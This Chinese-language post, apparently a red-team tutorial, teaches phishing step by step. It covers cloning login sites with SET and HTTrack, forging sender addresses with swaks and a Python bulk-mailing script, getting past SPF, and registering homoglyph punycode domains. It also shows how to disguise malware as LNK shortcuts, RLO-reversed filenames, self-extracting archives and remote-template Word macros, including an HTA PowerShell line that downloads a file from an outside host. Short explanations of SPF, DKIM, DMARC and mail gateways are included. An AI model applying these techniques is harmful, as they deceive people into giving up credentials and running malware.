常見釣魚手法


(之前在freebuf發過,所以圖片會有水印)

釣魚網站部署(克隆)

Social Engineering Tools(SET)

kali自帶,啟動:setoolkit

1640080266_61c1a38a3cab2fc57cf6d.png!small?1640080267244

選擇Social-Engineering Attacks

1640080286_61c1a39e0bc4e650f5415.png!small?1640080287080

一般選擇1或者2

1:魚叉式網絡釣魚攻擊

1640080300_61c1a3acd67df590f81a2.png!small?1640080301186

1640080318_61c1a3be3feae66a35ce5.png!small?1640080318415

2:網頁攻擊

Web攻擊模塊是一種獨特的方式,利用多種基於Web的攻擊,以危及預期的受害者。

  • Java Applet Attack方法將欺騙Java證書並提供一個基於metasploit的有效負載。使用Thomas Werth創建的自定義java applet來交付有效負載。
  • Metasploit Browser Exploit方法將利用選擇Metasploit瀏覽器利用通過iframe和交付一個Metasploit有效負載。
  • Credential Harvester方法將利用具有用戶名和密碼字段的網站的web克隆,並收集發布到網站上的所有信息。
  • TabNabbing方法將等待用戶移動到不同的選項卡,然后刷新頁面到不同的內容。
  • Web-Jacking攻擊方法利用iframe替換,使突出顯示的URL鏈接顯示合法,但當單擊彈出的窗口,然后被惡意鏈接取代。如果它太慢/太快,你可以在set_config中編輯鏈接替換設置。
  • Multi-Attack方法將通過web攻擊菜單添加攻擊組合。例如,你可以一次性使用Java Applet, Metasploit Browser, Credential Harvester/Tabnabbing來查看哪一個是成功的。
  • HTA攻擊方法將允許您克隆一個站點,並通過HTA文件執行powershell注入,可用於通過瀏覽器利用基於windows的powershell。

1640080327_61c1a3c770616f762a912.png!small?1640080327075

例如8:HTA attack

1640080337_61c1a3d16aa8630c7c193.png!small?16400803371601640080346_61c1a3da3a67de2634c94.png!small?1640080346477

SET克隆的源碼保存在 /root/.set/web_clone/  目錄下

 

httrack

HTTrack是一個網站鏡像工具,本來是用來抓取網站做離線瀏覽用的。但是HTTrack的爬蟲特性和搜索引擎蜘蛛爬蟲非常的像,這也逐漸應用到 SEO(搜索引擎優化)工作中。其實這兩種看似不同的爬蟲做的都是同樣的工作,就是復制網站並存儲下來(網站在搜索引擎中的網頁快照就是被存儲下來的內容)。

httrack只能用於克隆靜態內容,而無法完全復制網站上的動態內容、中間部分(數據庫)等內容

kali自帶。

Windows版:http://www.httrack.com/

使用:

第一步:創立項目的名稱(工程名)

1640080378_61c1a3fa8c4905d5dbf19.png!small?1640080377971

第二步:選擇操作方式,再點擊“添加URL”,將我們的網站地址添加進去。

1640080388_61c1a404bab0c028a19a5.png!small?1640080388196

第三步:進入“選項”,設定爬行和抓取規則等選項

1640080399_61c1a40f7b17f21186e86.png!small?1640080398967

在選項中,取消使用代理進行FTP傳輸;

進入“掃描規則”,為HTTrack程序設定爬行和抓取規則,HTTrack里面自帶了一些,可以自己設置,也可以默認。

1640080422_61c1a42678c4f4c38b5dc.png!small?1640080422117

這樣的掃描規則搜索引擎也一定會有的,比如不收錄.exe文件,zip文件等等。然后不收錄一些特定的跟蹤鏈接, 如 ad.doubleclick.net 。你需要把一些搜索引擎爬蟲不收錄的特征加進去。

然后在“搜尋”里面,很多的特征都是現在搜索引擎爬蟲的特征:

1640080434_61c1a4329381d53d6f540.png!small?1640080434050

一般的搜索引擎不會接收cookies,因此測試時我們也將此項去掉。

第四步:一般按照以上設置就可以,其他的默認就行。點擊下一步:

1640080449_61c1a441894ef46ee8cd8.png!small?1640080449007

在此頁面,我們不用選擇任何項,直接點擊完成就可以進行測試了,如下圖

1640080460_61c1a44c9ee4501013773.png!small?1640080460126

此時,HTTrack開始對網頁進行爬行,抓取。

1640080471_61c1a457f4040ade97c85.png!small?16400804715051640080477_61c1a45dc9d0a893b7f17.png!small?1640080477328

克隆效果比較好,只不過文件會比較大:

1640080485_61c1a465e0de2457e2a77.png!small?1640080485318

Cobalt Strike –clone

1640080500_61c1a474984192875a8b2.png!small?16400805001611640080508_61c1a47ce86b26cf31389.png!small?1640080508495

可以進行鍵盤記錄,竊取口令,也能結合其他攻擊

在Web日志里查看訪問日志:

1640080518_61c1a486d91e080727248.png!small?1640080518374

 

郵件偽造

郵件安全的三大協議

SPF

SPF詳解: http://www.renfei.org/blog/introduction-to-spf.html

SPF是 Sender Policy Framework 的縮寫,一種以IP地址認證電子郵件發件人身份的技術。 接收郵件方會首先檢查域名的SPF記錄,來確定發件人的IP地址是否被包含在SPF記錄里面,如果在,就認為是一封正確的郵件,否則會認為是一封偽造的郵件進行退回。例如:當郵件服務器收到自稱發件人是spam@gmail.com的郵件,那么到底它是不是真的gmail.com的郵件服務器發過來的呢,我們可以查詢gmail.com的SPF記錄,以此防止別人偽造你來發郵件。

原理:

SPF 記錄實際上是服務器的一個 DNS 記錄,原理其實很簡單:

假設郵件服務器收到了一封郵件,來自主機的 IP 是173.194.72.103,並且聲稱發件人為email@example.com。為了確認發件人不是偽造的,郵件服務器會去查詢example.com的 SPF 記錄。如果該域的 SPF 記錄設置允許 IP 為173.194.72.103的主機發送郵件,則服務器就認為這封郵件是合法的;如果不允許,則通常會退信,或將其標記為垃圾/仿冒郵件。

因為不懷好心的人雖然可以「聲稱」他的郵件來自example.com,但是他卻無權操作example.com的 DNS 記錄;同時他也無法偽造自己的 IP 地址。因此 SPF 是很有效的,當前基本上所有的郵件服務提供商(例如 Gmail、QQ 郵箱等)都會驗證它。

 

DKIM

DKIM讓企業可以把加密簽名插入到發送的電子郵件中,然后把該簽名與域名關聯起來。簽名隨電子郵件一起傳送,而不管是沿着網絡上的哪條路徑傳送。電子郵件收件人則可以通過DNS查詢得到公開密鑰后進行驗證郵件是否來自該企業。可確保郵件內容不被偷窺或篡改。

那么我們如何獲取到發件方的DKIM的密鑰呢?在DKIM中有一個選擇器(selector)的概念,通過此功能可以為不同的用戶提供不同的簽名,想要找到發件方的DKIM服務器,首先需要找到selector,在郵件的DKIM頭中,s字段的值即為DKIM的selector,獲取到selector后,我們就可以在如下域名中找到密鑰。

selector._domainkey.xxxxxxxx.com

以博客園的郵件為例,查看郵件源文件,通過s字段可以得到selector的值為mail。

1640080551_61c1a4a72e3a8fbd348f1.png!small?1640080550809

因此博客園的DKIM服務器域名為s1024._domainkey.send.cnblogs.com,同樣通過dig或者nslookup即可獲取解密密鑰。

1640080558_61c1a4ae58524ea20d1e6.png!small?1640080557911

 

DMARC

DMARC(Domain-based Message Authentication, Reporting & Conformance)是txt記錄中的一種,是一種基於現有的SPF和DKIM協議的可擴展電子郵件認證協議,其核心思想是郵件的發送方通過特定方式(DNS)公開表明自己會用到的發件服務器(SPF)、並對發出的郵件內容進行簽名(DKIM),而郵件的接收方則檢查收到的郵件是否來自發送方授權過的服務器並核對簽名是否有效。對於未通過前述檢查的郵件,接收方則按照發送方指定的策略進行處理,如直接投入垃圾箱或拒收。從而有效識別並攔截欺詐郵件和釣魚郵件,保障用戶個人信息安全。

 

郵件網關檢測原理

以上是協議層面的安全防護,但是協議防護也不是萬能的,在真實的企業安全防護中,安全郵件網關是保護郵件安全的有效方案。郵件安全防護產品在此次釣魚郵件對抗中起到了重要作用,下面簡單介紹一下郵件網關的防護原理。

規則庫:

和殺毒軟件一樣,為了降低誤報,一些郵件網關會使用規則庫的技術,一些我們認定為垃圾郵件的郵件,則會被當做郵件樣本加入規則庫,下次如果再次遇到相同的郵件即可進行檢測。

郵件頭檢測:

檢測mail from和from字段是否一致,檢測SPF、DKIM、DMARC是否符合。

防病毒:

郵件中嵌入惡意附件也是常用的攻擊方式,郵件內容都是BASE64編碼的,因此附件是可以直接進行還原,很多郵件網關都會內置防病毒引擎,甚至有的還有沙箱技術,讓附件樣本模擬運行后,通過行為來動態判斷附件的黑白。一些攻擊者在發送木馬附件的郵件后可能會遇到有目標上線但很快下線的情況,遇到這種情況也不要高興的太早,拿到的可能並不是一個真正的主機權限,而是一個沙箱。

黑白名單:

黑白名單是簡單有效的防護方式,可以針對發件箱、源IP、發件域名等設置黑白名單,特別是在應急響應階段,黑白名單可以實現快速控制威脅擴散。

頻率檢測:

對於同一源IP或者郵箱,如果一段時間內發送了大量郵件,則認定發件人為攻擊者,采取黑名單方式禁止其訪問目標。

超鏈接檢測:

在釣魚郵件檢測中常用,提取郵件中所有超鏈接,然后依次判斷鏈接是否已經在惡意鏈接的規則庫中。對於文本顯示的鏈接和超鏈接的實際鏈接不同的情況,也會提示為釣魚郵件。

機器學習:

對發件人的郵箱域名進行學習,識別出與真實域名相近的域名,比如tools.com、t00ls.com、tooIs.com等,如果發現類似域名的發件人,則標記為危險郵件。

查看SPF配置情況

如果SPF沒配置的話,那么任何人都可以像郵件服務器自定義內容發送郵件,這樣就會導致郵件偽造。(郵件的中轉是通過SMTP協議的)

要想查看一個域名是否配置了SPF,可以用nslookup或者dig查看:

nslookup -type=txt domain
dig -t txt domain

例如:nslookup -type=txt qq.com

(如上圖是配置了SPF)(SPF可以配置為ip,也可以配置為域名)

1640080591_61c1a4cfd4620477a7939.png!small?1640080591313

未配置的話,是這樣的:

1640080637_61c1a4fd082bcafb5b4fd.png!small?1640080637117

特例:軟拒絕  ~all

1640080643_61c1a503b0fead56418e0.png!small?1640080643279

~前綴代表軟拒絕,對接收方來說,遇到有軟拒絕的域名沒有通過SPF校驗,通常采取的策略是放行或者標記為垃圾郵件

當然,最好還是對目標多做一些域名收集,尋找一些沒有SPF記錄的域名,比如xxxx.com、xxxx.cn或者一些三級域名,甚至可以嘗試任意偽造一個不存在的三級域名,比如1111.xxxx.com。用這些域名發送釣魚郵件。

 

偽造郵件的發送

郵件為什么可以被偽造呢,最根本的原因就是SMTP協議不會驗證發送者的身份,當郵件在兩個不同的SMTP郵件服務器中被傳輸時,我們可以通過偽造來源欺騙接收者的SMTP服務器。

沒有spf的情況下

沒有配置SPF,郵件服務器就不會去驗證發件人,就可以直接進行偽造了。

swaks
  • swaks基本用法

swaks是郵件偽造工具,kali中自帶

1.測試是否可以和目標郵箱發送數據

執行命令:swaks –to [*****@qq.com]

1640080904_61c1a60822399cb7b0082.png!small?1640080903872

前面都返回250ok,說明該郵箱存在,並且可以正常收信。最后可以看到qq郵箱返回550錯誤,qq官方給出的出錯原因:該郵件內容涉嫌大量群發,並且被多數用戶投訴為垃圾郵件。

2.swaks參數說明

執行命令:swaks –help 可以看到n多參數和實例

1640080702_61c1a53ef04a476a81999.png!small?1640080702590

--to 目標郵箱

--from 郵件發送者

--ehlo <偽造的郵件ehlo頭>

--body <郵件正文>

--attach 添加附件

--header-From 郵件頭

--header "Subject:主題" 郵件主題

如:

swaks --to xxxx@qq.com --from info@XXX.com --ehlo XXX.com --body hello --header "Subject: hello"

 

3.發送釣魚郵件

執行

swaks --to ****@qq.com --from ***@qianxin.com --h-From: '"總裁辦"<admin@qianxin.com>' --header "Subject: 關於集團報告滲透測試word模板更新的通告" --body "各位一線工程師,集團對外word統一格式,請下載附件使用,謝謝合作!" --attach-name 滲透報告模版.doc --attach-type application/msword --attach /tmp/滲透報告模版.doc

注: attach-type是傳輸文件的MIME類型、 attach-name是名字

理論上不加這兩個也可以的。

使用swaks發送郵件,命令如下:

swaks --to yokan******@163.com --from admin@******.io --header "Subject: work" --body "hello,just test!" --attach /tmp/1.txt

第一次發送的時候會失敗,提示,請15分鍾后再嘗試。

1640080754_61c1a572533f735033998.png!small?1640080753768

查看163的錯誤說明,說明中卻寫着2分鍾后再嘗試。

1640080801_61c1a5a1480c9daf42335.png!small?1640080800744

那就隔2分鍾后再發送郵件,返回250發送成功。

1640080808_61c1a5a8453745fc495fc.png!small?16400808077091640080979_61c1a653d4c9bd04214b4.png!small?1640080979318

軟拒絕的話,可能會進垃圾郵件:

1640081025_61c1a6818d71299f6eea6.png!small?1640081025084

 

  • swaks的高級用法

點擊查看郵件原文,然后將郵件原文復制,另存為txt文件

1640081051_61c1a69b5591151370595.png!small?1640081050859

刪掉received字段和to字段

1640081064_61c1a6a867b95811d5fc4.png!small?1640081064291

swaks --data email.txt --to xxxxxxxx@qq.com--from “xxx@126.com
(概率成功)

--data表示郵件原文

 

  • python腳本調用swaks批量發送郵件

該工具批量發送帶有自定義內容的郵件不方便,於是寫了一個py腳本,使用--data參數,方便批量發送

import time
import sys
import subprocess
#發送的完整郵件內容有2部分組成,一部分是收件人,是可變的,一部分是郵件內容,是不變的,內容使用file_c變量,收件人使用file_f變量,具體看腳本內容

file_c = '''Subject: =?gb2312?B?xxxxxxxdLss6M=?=  
#主題等都是gb2312編碼后的base64加密
#Thread-Topic: =?gb2312?B?0/Lxxxxxxxxxss6M=?=
Thread-Index: AdT6eO/KxxxxxxxxxxxxxxxxIKA==
Date: {time.ctime()} +0800
#發送郵件是提前發送的模板郵件,所以需要獲取當前時間作為發送時間,不然接收的時間會不對
Accept-Language: zh-CN, en-US
Content-Language: zh-CN
X-MS-Has-Attach:
X-MS-TNEF-Correlator:
x-originating-ip: [x.x.x.x]
Content-Type:xxxxxxxxx;
Return-Path: administrator@xxx.com
xxx內容xxx '''

file = open(f'/usr/local/src/{sys.argv[1]}', 'r')
names = file.readlines()
for name in names:
    file_f = f'To: "{name.strip()}" <{name.strip()}>\n'
    #print(file_f)
    with open('/usr/local/src/file.txt', 'w') as f:
        f.writelines(file_f + file_c)
    status = subprocess.Popen(['swaks', '--tls', '--data', '/usr/local/src/file.txt', '--to', name.strip(), '--from', 'administrator@xxx.com'], stdout=subprocess.PIPE)
    lg = status.stdout.readlines()
    print(type(lg))
    with open('/usr/local/src/log.txt', 'a+') as g:
        for line in lg:
            g.write(line.decode())

 

EwoMail

也可以自己在vps上搭建郵件服務器

EwoMail是基於Linux的企業郵箱服務器:https://github.com/gyxuehu/EwoMail

1640081133_61c1a6edb7a518df74af3.png!small?1640081133345

或者使用第三方的郵件服務器。

 

在線郵件偽造服務

郵件偽造服務:http://tool.chacuo.net/mailanonymous
1640081146_61c1a6fad022b6bae1406.png!small?1640081146545
網址:https://emkei.cz/\

1640081168_61c1a7101818b18643999.png!small?1640081167697

發送之后

沒有SPF,郵件網關就不會進行攔截,收到后直接看是完全無異樣,但查看郵件源文件發現from的ip非域名對應ip,但對於普通用戶來說欺騙性很強。

1640081184_61c1a72076c33012c3826.png!small?1640081184744

 

配置了SPF的情況

配置了SPF,按照上邊這種方法發送的話,通常情況下就會被直接攔截或者進了垃圾箱

這種情況就需要用一些權威的郵件服務商去發送郵件了
如sendgrid,mailgun,這些權威郵件服務商,會被大部分郵件服務商加到白名單中,這樣他們的郵件就不會進到垃圾箱

SendGrid

30天試用,能免費發送40000封郵件

https://sendgrid.com
注冊 SendGrid (需要驗證域名所有權,但發信可以不使用這個域名),獲得一個 API ,然后有多種方式發送郵件,最方便的是 Curl :

curl --request POST \
  --url https://api.sendgrid.com/v3/mail/send \
  --header "Authorization: Bearer 你的 API" \
  --header 'Content-Type: application/json' \
  --data '{"personalizations": [{"to": [{"email": "發給誰"}]}],"from": {"email": "發件人(你想偽造成誰)"},"subject": "標題","content": [{"type": "text/plain", "value": "內容"}]}'

這種方式只需要你有一台服務器,在服務器里面運行這條命令即可發送偽造郵件。但是這種方式無法自定義發件人名字,

mailgun

mailgun也類似,每個月可免費發送10000封郵件,可以添加1000個域名,每封郵件都有跟蹤日志,簡單明了的管理界面。:
https://www.mailgun.com

# Try our API. Copy & run this in your terminal.
curl -s --user 'api:key-**********' \
    https://api.mailgun.net/v3/samples.mailgun.org/messages \
    -F from='Excited User <excited@samples.mailgun.org>' \
    -F to='devs@mailgun.net' \
    -F subject='Hello' \
    -F text='Testing some Mailgun awesomeness!'

其他同類服務:
Amazon SES 免費套餐,月發送 62000 封電子郵件。

https://aws.amazon.com/cn/ses/pricing/

阿里雲郵件推送服務,每個賬戶每日200封免費郵件。

https://www.aliyun.com/product/directmail?spm=5176.8064714.321187.pricedetail1111.MpRlp1

SendCloud 搜狐旗下付費服務

https://sendcloud.sohu.com

MandRill 付費服務

https://www.mandrill.com/pricing/

Postmark 免費試用

https://postmarkapp.com/pricing

 

軟拒絕(~all)

~前綴代表軟拒絕,對接收方來說,遇到有軟拒絕的域名沒有通過SPF校驗,通常采取的策略是放行或者標記為垃圾郵件

1640081265_61c1a771d3a1b7009ae5f.png!small?1640081266586

使用swaks發送郵件,命令如下:

swaks --to yokan********@163.com --from admin@******.com --header "Subject: work" --body "hello,just test!" --attach /tmp/1.txt

第一次發送的時候會失敗,提示,請15分鍾后再嘗試。

1640081290_61c1a78a93da977124ecb.png!small?1640081290049

查看163的錯誤說明,說明中卻寫着2分鍾后再嘗試。

1640081299_61c1a793830a6e4862ccc.png!small?1640081299007

那就隔2分鍾后再發送郵件,返回250發送成功。

1640081306_61c1a79a8d21f1eb886be.png!small?1640081305994

不過會進垃圾郵件:

1640081321_61c1a7a95905ea639add0.png!small?1640081320999

另類方法繞SPF

由於郵件網關會對SPF記錄中的IP開啟白名單,對SPF記錄中的IP進行漏洞探測,如果能獲取這些IP的控制權,以白名單身份發郵件,即可完美繞過所有限制。例如,對目標域名進行了SPF查詢,發現了3個IP。

1640081331_61c1a7b3c59d9a3386732.png!small?1640081331277

發現其中一個IP開了23端口,telnet連上去直接可以轉發郵件不需要任何認證。

 

提高送達成功率
  • 適當控制發信的頻率,如果短時間內向同一個郵箱地址發信,也會容易被標記為垃圾郵件。最好向同一郵箱發信間隔在2-5天
  • 將較大的收件人列表分割成若干個小的,分時間段發送
  • 使用變量,一般來說,郵件服務器多次收到來自同一個郵件IP地址的相同內容郵件,很容易就被判定為垃圾郵件。在進行郵件編輯時,多采用變量設置,像公司名、收件人,可以進行變量添加,避免郵件內容完全一致
  • 回執。當我們想要對從⽹上收集到的郵箱進⾏郵件釣⻥時,⼀⼤堆郵箱,怎么確保對應的郵箱依然存活,⼜或者說哪些郵箱的釣⻥成功率⾼點?這時候就需要⽤到郵箱的回執功能,當開啟回執時,我們的郵件被對⽅已讀時,我們就會收到⼀份回執信息:1640081342_61c1a7be1c48def71c076.png!small?1640081342343

這種情況下,我們就可以對已讀的郵箱進⾏深⼊釣⻥。

釣魚郵件的內容

釣魚郵件通常有兩大類,一種是鏈接釣魚郵件,通常是想各種辦法讓目標打開網站,輸入密碼。另一種是附件釣魚郵件,但不管哪一類,都需要一個好的文案來讓目標點擊或者下載。

一封成功的釣魚郵件,一個好的文案是必須的,一個讓人看了后可能會去點的文案,需要具備以下幾個要素:

重要性

首先得讓體現出來郵件的重要性,來驅使目標去查看郵件。

合理性

其次文案得基本合理,這個就需要結合目標的身份,日常習慣,所在公司的情況及業務進行綜合考量,來編寫出一個合理的文案。

緊迫性

最后文案最好有一些緊迫性,來促使目標盡快的去按照文案引導,進行點擊、輸入等操作。

鏈接釣魚

郵件內容設置

賬號被異常登錄

1640089526_61c1c7b6e01df93dadaa4.png!small?1640089545379

賬號密碼過期

1640089543_61c1c7c726c8e6ee460c9.png!small?1640089561268

系統更新,遷移

1640089588_61c1c7f4e5967d35ee5bd.png!small?16400896071341640089597_61c1c7fd2ac1475252425.png!small?1640089615198

領取禮品

1640089606_61c1c80674a2861e712bc.png!small?1640089624575

釣魚鏈接域名偽裝

有了文案,怎么能讓郵件看起來真實性更高呢?
最簡單的就是用超鏈接,把元素內容改成想要仿冒的域名,在郵箱頁面上,就會直接顯示元素的內容,如下圖所示:

<a href="http://www.eval.me">www.aliyun.com</a>

1640089630_61c1c81e2ccf478e87e00.png!small
但這種點擊完之后,跳轉瀏覽器的時候就會顯示真實的域名,所以,要想讓釣魚的成功率更高一些,就需要對域名做一些處理。比如申請一些和目標域名比較相似的域名,比如用0代替o,用1代替l,用vv代替w等等,這就需要發揮你的想象來尋找相似的域名:

http://www.taoba0.com/
http://www.a1iyun.com

如果找不到這樣形似的域名或者這種域名比較貴的情況下,可以嘗試一些更騷的操作。。

比如幣安“驚魂夜”釣魚的案例:

用戶收到的釣魚網站鏈接:

1640089677_61c1c84d4382cb318e7bc.png!small?1640089695413

真正的官網鏈接:

1640089686_61c1c85692bfb65ebfe23.png!small?1640089704630

攻擊者的域名為

www.biṇaṇce.com

圖中用於替換字母n的字符為:ṇ
Unicode編碼為:U+1E47

真正的字母n的Unicode編碼為:
U+006E,攻擊者上演了一出障眼法騙過了那些受害者。

1640089701_61c1c865aa822bf440f7d.png!small?1640089719688

這樣的域名是怎么注冊的呢?在了解怎么注冊一個這樣的域名前,需要先了解什么是國際域名(Internationalized domain name, IDN)。
IDN是指在域名中包含至少一個特殊語言字母的域名,特殊語言包括中文、法文、拉丁文等。在DNS系統工作中,這種域名會被編碼成ASCII字符串,並通過Punycode進行翻譯。

Punycode是一個根據RFC 3492標准而制定的編碼系統,主要用於把域名從地方語言所采用的Unicode編碼轉換成為可用於DNS系統的編碼。

目前,因為操作系統的核心都是英文組成,DNS服務器的解析也是由英文代碼交換,所以DNS服務器上並不支持直接的中文域名解析,所有中文域名的解析都需要轉成punycode碼,然后由DNS解析punycode碼。其實目前所說的各種主流瀏覽器都完美支持IDN域名,瀏覽器里面會自動對IDN域名進行Punycode轉碼,而地址欄依舊顯示的是原始輸入的IDN域名。

所以,要想注冊“幣安”的這個域名:

www.biṇaṇce.com

其實只需要注冊他經過punycode轉碼后的域名:

www.xn--biace-4l1bb.com

然后讓目標訪問www.biṇaṇce.com,在地址欄中就很難被發現。

1640089734_61c1c8861b0141001ff20.png!small?1640089752181

我遍歷了unicode表,找了一些字母形似的unicode,可利用此表來注冊一些釣魚域名

1640089746_61c1c8920965cb63a2a59.png!small?1640089764123

仿冒的阿里雲

www.аlіyun.com 
0x456 і
0x430 а
經punycode轉碼:www.xn--lyun-43d3u.com

1640089782_61c1c8b6efb41ccd367b7.png!small?1640089801005

punycode在線轉換工具:http://tools.jb51.net/punycode/index.php

 

附件釣魚

INK

https://xz.aliyun.com/t/8062

lnk⽂件,簡單理解為快捷⽅式,創建⽅式如下:

1640089805_61c1c8cdad2d8bc1b3333.png!small?1640089823742

下圖為calc.exe的快捷⽅式的屬性信息,我們可以在“⽬標”欄寫⼊⾃⼰的惡意命令,如powershell上線命令:

1640089823_61c1c8dfeffb469424e01.png!small?1640089842107

1640089833_61c1c8e98a44b170fdb25.png!small?1640089851562

然后運行,即可在CS上線。

⽽在實施釣⻥過程中,對於我們的calc.exe的快捷⽅式來說,⼀個⼤⼤的計算機ico圖標,顯然看起來不像⼀個好玩意,因此可以嘗試在“屬性”中去更改該⽂件的圖標:

1640089841_61c1c8f1a5caa8b1001f9.png!small?1640089859928

但是⽤系統⾃帶的ico去做⽂件圖標替換的話,有個弊端,即當替換的ico在⽬標機器上不存在時,就會出現類似空⽩ico圖標:

比較好的方法是修改lnk的icon_location標志位,修改為相關后綴,系統即可⾃動聯想到對應的打開⽅式:

用winhex或者010 Editor打開該LNK文件,找到String Data部分ICON_LOCATION字符串:

1640089854_61c1c8fea28937376aaff.png!small?1640089872736

我們要將其修改為.\1.pdf(Unicode),其長度0x07:

1640089868_61c1c90c2776c5cd14e27.png!small?1640089886192

07002E005C0031002E00700064006600

我的pdf默認是由edge瀏覽器打開,則在icon_location中設置為pdf后綴時,⽂件的ico也會自動顯示為edge瀏覽器打開的圖標, 這樣可以達到⾃適配的效果:

1640089875_61c1c91372cfd1b8d18af.png!small?1640089893523

當受害者中招打開我們的所謂的pdf,實則為惡意的快捷⽅式時,雙擊兩下,什么反應都沒有,可能會有⼀絲疑惑,因此可以當嘗試⽤powershell、mshta等式上線時,我們可以更改如cobaltstrike成的代碼,加上動下載打開份真的pdf,來達到逼真的效果,具體過程如下:

首先新建一指向%windir%\System32\mshta.exe的快捷方式(文件名盡量帶有迷惑性),並更改其圖標為%SystemRoot%\System32\SHELL32.dll中任意一個:

1640138966_61c288d6d0134b7aa5d76.png!small?1640138966276

使用CS生成一個powershell方式的HTA木馬

1640138974_61c288de1130769b4f607.png!small?1640138973303

打開hta文件,在其執行payload前增加如下 語句:

Dim open_pdf
Set open_pdf = CreateObject("Wscript.Shell")
open_pdf.run "powershell -nop -w hidden (new-object System.Net.WebClient).DownloadFile('http://192.168.50.15:8000/1.pdf',$env:temp+'\1.pdf');Start-Process $env:temp'\1.pdf'", 0, true

1640138996_61c288f407a96aa21d94d.png!small?1640138995400

然后python起個http服務

1640139010_61c28902380756a5a260f.png!small?1640139009570

這樣一來,在受害者打開LNK文件后會從遠程下載一正常PDF文檔並打開。

接下來使用上面的方法修改快捷方式圖標為pdf的圖標。

1640139017_61c289096aeaa832b1cc3.png!small?1640139016686

使用CS設置HTA文件下載:

1640139025_61c2891125edeaf2d2ca9.png!small?1640139024465

之后更改快捷方式的參數為HTA下載地址:

1640139033_61c289197c03a35e3a946.png!small?1640139032766

之后雙擊該LNK文件,主機便會上線,而受害者會看到一正常的PDF文檔:

1640139039_61c2891fd771b94962af5.png!small?16401390391331640139048_61c2892840f65b46d0f9d.png!small?1640139047493

 

CS

生成office宏病毒文件,此程序包生成一個VBA宏,您可以將其嵌入到Microsoft Word或Excel文檔中。 此攻擊適用於Windows上的x86和x64 Office

1640089902_61c1c92e58de626648820.png!small?16400899203851640089916_61c1c93c95a62e1e7b9a4.png!small?1640089934668

在word的視圖功能中植⼊相關宏:

1640089925_61c1c945a9d36bcc2ea92.png!small?1640089943807

隨便創建一個宏,將CS的Macro代碼復制進去保存就可以。運行,word即可上線。(excel類似)

但是此種辦法有個弊端,就是宏代碼是存在本地的,極易被殺軟查殺。

1640089937_61c1c9511b6aab2db7408.png!small?1640089955215

遠程模板注入宏代碼

因此我們可以嘗試使⽤遠程加載模板的⽅式在進⾏宏加載。

原理:

利用Word文檔加載附加模板時的缺陷所發起的惡意請求,而達到的攻擊目的,所以當目標用戶點開攻擊者發送的惡意Word文檔就可以通過向遠程服務器發送惡意請求的方式,然后加載模板執行惡意模板的宏。

發送的文檔本身不帶惡意代碼,所以能過很多靜態檢測。只需要在遠程DOTM文檔中編寫宏病毒或者木馬即可。

思路:

編寫一個帶有宏代碼的DOTM文檔,上傳服務器

編寫一個帶模板的DOCX文檔

將該文檔壓縮找到並更改settings.xml.rels文件中的內容,將其中的target內容修改為服務器上DOTM文檔的URL

將DOCX解壓后的內容再以存儲模式壓縮為ZIP

修改后綴名為DOCX,打開后即可實現遠程注入宏文檔

新建word, 打開宏代碼編輯環境后,在本文檔的ThisDocument下,編寫如下宏代碼

1640089958_61c1c966b2de007c99418.png!small?1640089976829

保存時保存類型為 dotm :

1640089969_61c1c9714d579373aeabb.png!small?1640089987376

開啟Web服務,放在其目錄下, http://192.168.111.234/cs_macro.dotm

制作 docx

創建一個簡歷模板word文檔:

1640089977_61c1c97996abddda0eef8.png!small?1640089995604

1640089984_61c1c980bdfdfabad8e89.png!small?1640090002898

將word文件后綴 docx 改為 zip,解壓,找到settings.xml.rels

1640089995_61c1c98b87f88bb446c75.png!small?1640090013625

用文本編輯器打開,修改target項,可用的協議有ftp、smb、http,這里使用http:

將 target 內容改為http://192.168.111.234/cs_macro.dotm

1640090006_61c1c996028afb9945ce8.png!small?1640090024047

之后全選目錄所有文件,壓縮為macro_test.zip,再將后綴改為docx

1640090014_61c1c99e796adf10b9651.png!small?1640090032553

1640090023_61c1c9a7980436ef3847d.png!small?1640090041630

制作完成。

雙擊打開,啟動宏,即可上線:

1640090031_61c1c9af74bc0e84418fd.png!small?16400900495551640090039_61c1c9b74269558fcd254.png!small?1640090057346

宏免殺

https://github.com/outflanknl/EvilClippy

https://skewwg.github.io/2020/12/05/diao-yu-yu-she-gong-xi-lie-zhi-office-hong/

http://www.h0r2yc.com/2019/08/01/office%E5%AE%8F%E6%94%BB%E5%87%BB%E5%8F%8A%E5%85%8D%E6%9D%80/

 

文件名反轉RLO

RLO,即Right-to-Left Override,我們可以在⽂件名中插⼊此類unicode字符,來達到⽂件名反轉的效果。

以calc.exe來舉例,

將其重命名為calcgpj.exe,然后在 calc 與 g 之間右鍵,看圖操作

1640090065_61c1c9d141c71dd68a9cf.png!small?1640090083588

ok,此時已經變成了 以 jpg 結尾的了。但是雙擊運行還是 exe 格式運行的。

1640090073_61c1c9d94b73778ecb10e.png!small?1640090091365

再利用ResourceHacker修改圖標。

找個圖片轉換為 ico 格式。

http://www.bitbug.net/

1640090080_61c1c9e0e0afd9b774c51.png!small?1640090099156

如圖,雙擊實際上還是運行的calc。

自解壓

首先我們需要准備好木馬(cmd.exe)、正常程序(calc.exe)

1640090100_61c1c9f4631d17cc078b4.png!small?1640090118544

1.選中兩個程序,然后添加到壓縮文件,創建自解壓

1640090119_61c1ca072d457f5da2d0d.png!small?1640090137288

2.高級自解壓選項,常規:解壓路徑 ——> 絕對路徑:

路徑寫C:\windows\temp

3.高級自解壓選項->設置

1640090136_61c1ca180bcff91779686.png!small?1640090154115

C:\windows\temp\選中的木馬名

C:\windows\temp\選中的程序名

4.高級自解壓選項->模式

靜默模式->隱藏所有

5.高級自解壓選項->更新

更新模式->解壓並更新

覆蓋模式->覆蓋所有文件

6.確定

1640090149_61c1ca25c825d5acb287b.png!small?1640090167897

執行一下,發現達到了效果,在這里我們還需要做一些細節的偽裝.

使用Resource Hacker換一下圖標:

運行

1640090158_61c1ca2ee6df72bf3baa8.png!small?1640090177031

自解壓+RLO

  • 將png圖片和exe自解壓成 gnp.exe
  • RLO,文件名反轉成png
  • 修改png圖標,變成個圖片
  • 運行,看起來是個圖⽚,后綴也是個圖⽚,打開也是個圖⽚,但是木馬成功執行

1640090169_61c1ca395685ac81d6102.png!small?1640090187511

1640090177_61c1ca41e79d073241a74.png!small?1640090196063

雙擊,pikaexe.jpg

1640090184_61c1ca48cec197652e5b5.png!small?1640090202940

CVE-2017-11882

適用於:

MicrosoftOffice 2000
MicrosoftOffice 2003
MicrosoftOffice 2007 Service Pack 3
MicrosoftOffice 2010 Service Pack 2
MicrosoftOffice 2013 Service Pack 1
MicrosoftOffice 2016
MicrosoftOffice 365

Microsoft Office Word 的一個執行任意代碼的方法,可以在不啟用宏的情況下執行任意程序。

